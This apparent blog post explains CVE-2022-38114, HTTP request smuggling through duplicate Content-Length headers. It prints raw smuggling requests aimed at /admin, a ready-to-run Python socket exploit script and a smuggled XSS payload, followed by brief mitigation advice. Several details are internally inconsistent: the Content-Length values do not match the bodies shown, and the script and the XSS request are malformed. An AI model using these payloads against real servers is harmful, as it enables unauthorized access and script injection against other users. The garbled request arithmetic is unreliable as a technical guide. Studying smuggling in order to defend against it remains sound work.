CVE-2022-38114 - How a Content-Length Bug Can Let You Smuggle HTTP Requests and Launch XSS Attacks

If you've ever worked with web servers, you've probably handled HTTP headers like Content-Length. It's a simple way to tell the server how much data you're sending in a POST request. But what if the server doesn't parse this header correctly? Enter CVE-2022-38114. This bug happens when a server fails to process the Content-Length header properly, leading to powerful attacks like HTTP request smuggling and, sometimes, Cross-Site Scripting (XSS).

In this deep-dive, we'll explore how this happens, see example code, and explain how attackers can exploit this flaw. Let's get started!

What Is HTTP Request Smuggling?

HTTP Request Smuggling is a technique where an attacker tricks a server (or servers behind a proxy or load balancer) about the structure of incoming HTTP requests. This often happens because of inconsistent parsing of HTTP headers, especially Content-Length and Transfer-Encoding.

*If the front-end (like a proxy) thinks a request ends somewhere and the back-end thinks it ends somewhere else, attackers can "smuggle" in extra requests that shouldn't be allowed.*

How CVE-2022-38114 Happens

The root cause in CVE-2022-38114 is that the web server doesn't handle the Content-Length header correctly. Specifically, if a malicious client sends multiple Content-Length headers or an ambiguous one, the server could mess up the boundary between HTTP requests.

Suppose a vulnerable server receives the following raw HTTP payload

POST /login HTTP/1.1
Host: vulnerable.example
Content-Length: 13
Content-Length: 5

hello
GET /admin HTTP/1.1
Host: vulnerable.example

Some servers will ignore the second Content-Length, others might process both, or use just the first, and so on. Depending on how front-end proxies and back-end servers process these headers, an attacker may be able to "split" requests, with parts processed out of their original context.

Step 1: The Smuggled Request

POST / HTTP/1.1
Host: example.com
Content-Length: 15
Content-Length: 5

hello
GET /admin HTTP/1.1
Host: example.com

Here's what's happening

- The *proxy* front-end reads the first Content-Length: 15 and passes everything after the headers up to the 15th byte.
- The *back-end* server, due to a parsing bug, uses the second Content-Length: 5 and treats only "hello" as the request body.
- The left-over text (GET /admin HTTP/1.1 ...) is treated as a new HTTP request.

An attacker could send requests that appear to come from another user.

- In certain setups, this can be used to inject JavaScript into responses leading to Cross-Site Scripting (XSS).

You can use raw sockets or tools like netcat, but here's how you might automate it in Python

import socket

payload = (
    "POST / HTTP/1.1\r\n"
    "Host: target.com\r\n"
    "Content-Length: 15\r\n"
    "Content-Length: 5\r\n"
    "\r\n"
    "hello"
    "GET /admin HTTP/1.1\r\n"
    "Host: target.com\r\n"
    "\r\n"
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('target.com', 80))
s.sendall(payload.encode())
response = s.recv(4096)
print(response.decode())
s.close()

Exploiting XSS

If the backend server processes leftover input as a new request, and if its response is reflected in a way that JavaScript can be injected, you might use a payload like:

POST /comment HTTP/1.1
Host: vuln.example
Content-Length: 22
Content-Length: 8

hi there
GET /comments HTTP/1.1
Host: vuln.example

<script>alert(1)</script>

The script tag may appear in another user's response if the attacked endpoint reflects arbitrary input.

What Makes This Vulnerability Dangerous?

- It works behind proxies: Many real-world setups have front-end proxies or load balancers, where parsing differences are likely.

Can be triggered remotely: Attackers only need to send crafted HTTP requests.

- Leads to severe issues: Not only XSS, but account hijacking, session compromise, and arbitrary command execution on the backend are possible.

Mitigation

- Update your servers: Patches and updated parsing libraries are available. See the official NVD entry for links.
- Reject ambiguous headers: Servers should *always* reject requests with multiple Content-Length headers.
- Use strict RFC compliance: Always process incoming requests in a way that's compatible across all your HTTP infrastructure.

Summary

CVE-2022-38114 is a clear reminder: even small mistakes like mishandling the Content-Length header can have big security consequences. HTTP request smuggling is not just a weird edge-case attack—it's a practical and dangerous exploitation vector.

If you run web servers or write web applications, check your code and server configurations! Don’t let a tiny parsing bug open the door to big attacks.

Timeline

Published on: 11/23/2022 17:15:00 UTC
Last modified on: 11/28/2022 18:19:00 UTC